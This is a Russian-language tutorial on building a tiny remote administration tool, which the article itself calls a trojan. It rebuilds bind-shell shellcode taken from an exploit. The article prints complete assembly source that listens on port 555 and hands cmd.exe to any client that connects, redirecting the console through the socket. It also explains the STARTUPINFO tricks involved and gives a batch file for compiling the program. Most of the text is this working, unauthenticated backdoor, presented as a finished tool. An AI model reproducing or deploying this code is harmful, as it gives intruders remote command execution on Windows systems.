- Это дело обещает много любопытного и необычайного
Шерлок Холмс
В этой статье мы рассмотрим один из наиболее перспективных методов написания
крайне маленьких RAT (Remote Administration Tool). По сути своей эти утилиты
сродни оружию, которое используют хакеры - они считаются троянскими конями.
Когда же их используют администраторы - это утилиты удалённого администрирования.
Часто из самых оптимальных по структуре и размеру кода
RAT создаются так называемые шеллкоды (shellcode).
Шеллкод - блок программного кода, на который передаётся
управление при эксплуатации ошибок на переполнение буфера.
Несколько месяцев тому назад мне попался один эксплоит, в котором был
очень маленький шеллкод. Меня заинтересовало устройство данного
шеллкода, так как до этого я не видел таких маленьких удалённых шеллкодов.
Удалённый шеллкод отличается от локального тем, что он слушает определённый
IP порт и когда к этому порту присоединяешься, то порождается консоль.
Локальный же шеллкод порождает консоль локально, в Windows NT системах это
"cmd.exe".
Ну так вот, я решил исследовать данный шеллкод. Вначале шеллкод
расшифровывается - это необходимо из-за требований к нему предъявляемых (обычно
необходимо отсутствие нулевого - "\x00" байта). После этого в шеллкоде для его
универсальности идёт поиск адресов "kernel32.dll" и необходимых подпрограмм.
Далее загружаются нужные для функционирования шеллкода библиотеки, в нашем
случае это библиотека "ws2_32.dll". После всей подготовки начинается основной код. На нём мы и остановимся,
чтобы понять и вникнуть в его функционирование.
Сейчас мы рассмотрим исходный код, который был получен мной в отладчике и
преобразован в RAT.
;---[rat.asm]---;
; ;
;----------------;
; ВОЗМОЖНОСТИ: ;
; ;
; (+) Слушает 555 порт (возможно построение шеллкода) ;
; ;
;----------------;
.386p
.model flat,stdcall
callx macro x ;
extrn x:proc ; Макрос для упрощения
call x ; использования WIN API
endm ;
;----------------;
.data
wsadata1 db 400 dup (0) ;
;
sin db 16 dup(0) ; Данные
handle_ dd 0 ;
mhandle2 dd 0 ;
;----------------;
.code
start:
push offset wsadata1 ;
push 0101h ; Проводим инициализацию
callx WSAStartup ;
mov word ptr[sin],2 ;
push 555 ; Устанавливаем номер
callx htons ; TCP/IP порта
mov word ptr[sin+2],ax ;
push 0 ;
push 0 ;
push 0 ;
push 0 ;
push 1 ;
push 2 ; Создаём сокет
callx WSASocketA ;
mov ebx,eax ; Сохраняем его хэндл
push 16 ;
push offset sin ;
push ebx ; Биндим сокет
callx bind ;
push 0 ;
push ebx ;
callx listen ; Слушаем сокет
push 0 ;
push ecx ;
push ebx ;
callx accept ; Принимаем соединение
mov handle_,eax ; Сохраняем хэндл
push 00000004h ;
push 00001000h ;
push 400 ;
push 0h ;
callx VirtualAlloc ; Выделяем 400 байт памяти
mov mhandle2,eax ; И сохраняем хэндл
;----------------;
mov edx,handle_
mov byte ptr[eax+10h],044h ;
inc byte ptr[eax+3dh] ; Заполняем структуру
mov dword ptr[eax+48h],edx ; STARTUP_INFO
mov dword ptr[eax+4ch],edx ;
mov dword ptr[eax+50h],edx ;
mov [eax+54h],646d63h ;
mov eax,mhandle2 ; Кладём в eax хэндл
push eax ; ProcessInfo => NULL
add eax,10h ;
push eax ; StartupInfo (!)
xor ecx,ecx ;
push ecx ; CurrentDir => NULL
push ecx ; Environment => NULL
push ecx ; CreationFlags => 0
push 1 ; InheritHandles = TRUE (!!)
push ecx ; ThreadSecurity => NULL
push ecx ; ProcessSecurity => NULL
add eax,44h ;
push eax ; CommandLine
push 0 ; ApplicationName = NULL
callx CreateProcessA ; Порождаем
"cmd.exe"
push -1 ;
push dword ptr[mhandle2] ; Ждём до бесконечности
callx WaitForSingleObject ;
;----------------;
push 00004000h ;
push 400 ;
push mhandle2 ;
callx VirtualFree ; Освобождаем память
push 0 ;
callx ExitProcess ; Завершаем процесс
;----------------;
end start
;---[rat.asm]---;
В данной программе, после выделения памяти заполняется какая-то структура
STARTUP_INFO. Чтобы разобраться для чего это делается, мы вначале разберём
функцию CreateProcessA и её параметры.
function CreateProcessA
(
lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation
): BOOL; stdcall;
Где:
- LpApplicationName:PChar - название приложения (плюс полный путь к нему);
- LpCommandLine:PChar - командная строка приложения (все параметры, которые
передаются приложению через командную строку); - LpProcessAttributes, lpThreadAttributes - в нашем случае 0;
- BInheritHandles:Bool - в нашем случае 1;
- DwCreationFlags - в нашем случае 0;
- LpEnvironment:Pointer - указатель на строку, которая содержит переменные окружения, необходимые нашей программе;
- LpCurrentDirectory:PChar - рабочий каталог нашей программы;
- LpStartupInfo:TStartupInfo - параметры запуска приложения;
- LpProcessInformation:TProcessInformation - переменная, в которую помещаются
все дескрипторы запущенного приложения.
Результат: True - если приложение нормально напустилось, и False - в противном
случае.
Рассмотрим наш вызов данной функции:
;----------------;
.... ....
push eax ; ProcessInfo => NULL
add eax,10h ;
push eax ; StartupInfo (!)
xor ecx,ecx ;
push ecx ; CurrentDir => NULL
push ecx ; Environment => NULL
push ecx ; CreationFlags => 0
push 1 ; InheritHandles = TRUE (!!)
push ecx ; ThreadSecurity => NULL
push ecx ; ProcessSecurity => NULL
add eax,44h ;
push eax ; CommandLine
push 0 ; ApplicationName = NULL
callx CreateProcessA ; Порождаем
"cmd.exe"
..... .....
;----------------;
Здесь необходимо остановиться на строчке, выделенной восклицательным знаком.
Ага, оказывается что наша структура STARTUP_INFO передаётся параметром функции
CreateProcessA. Теперь я хочу заострить ваше внимание на строчке выделенной
двумя восклицательными знаками. Это параметр InheritHandles и он равен 1.
Это значит, что мы сможем переназначить стандартный ввод и
вывод процесса. Но как это сделать? Рассмотрим формат структуры
STARTUP_INFO. Вот что написано о структуре STARTUP_INFO в MSDN:
typedef struct _STARTUPINFO { // si
DWORD cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
Описание структуры STARTUP_INFO и Описание флагов запускаемого процесса
Теперь становится ясно, что при создании процесса программа перенаправляет
свои стандартные потоки ввода и вывода на сокет. Это ей удаётся сделать путём
манипуляций над структурой STARTUP_INFO и установкой флага InheritHandles при
вызове функции CreateProcessA.
И всё таки, как необходимо заполнить структуру STARTUP_INFO?. Структура должна
заполняться стандартно, об этом уже многое написано. Отличия лишь будут
заключаться в заполнении следующих полей:
+ dwFlags - должен быть установлен в STARTF_USESTDHANDLES
+ hStdInput - должен указывать на хэндл полученный от accept
+ hStdOutput - должен указывать на хэндл полученный от accept
+ hStdError - должен указывать на хэндл полученный от accept
Для компиляции данной программы нужно использовать следующий *.bat файл:
@echo off
cls
tasm32 /mx /m4 /zi rat.asm
tlink32 -x -v -V4.0 -Tpe -ap -c rat.obj,,,imp32i.lib ws2_32.lib
del *.obj
В итоге мы получили одну из самых маленьких утилит для удалённого
администрирования. Так же разобралиась в функционировании удалённого шеллкода.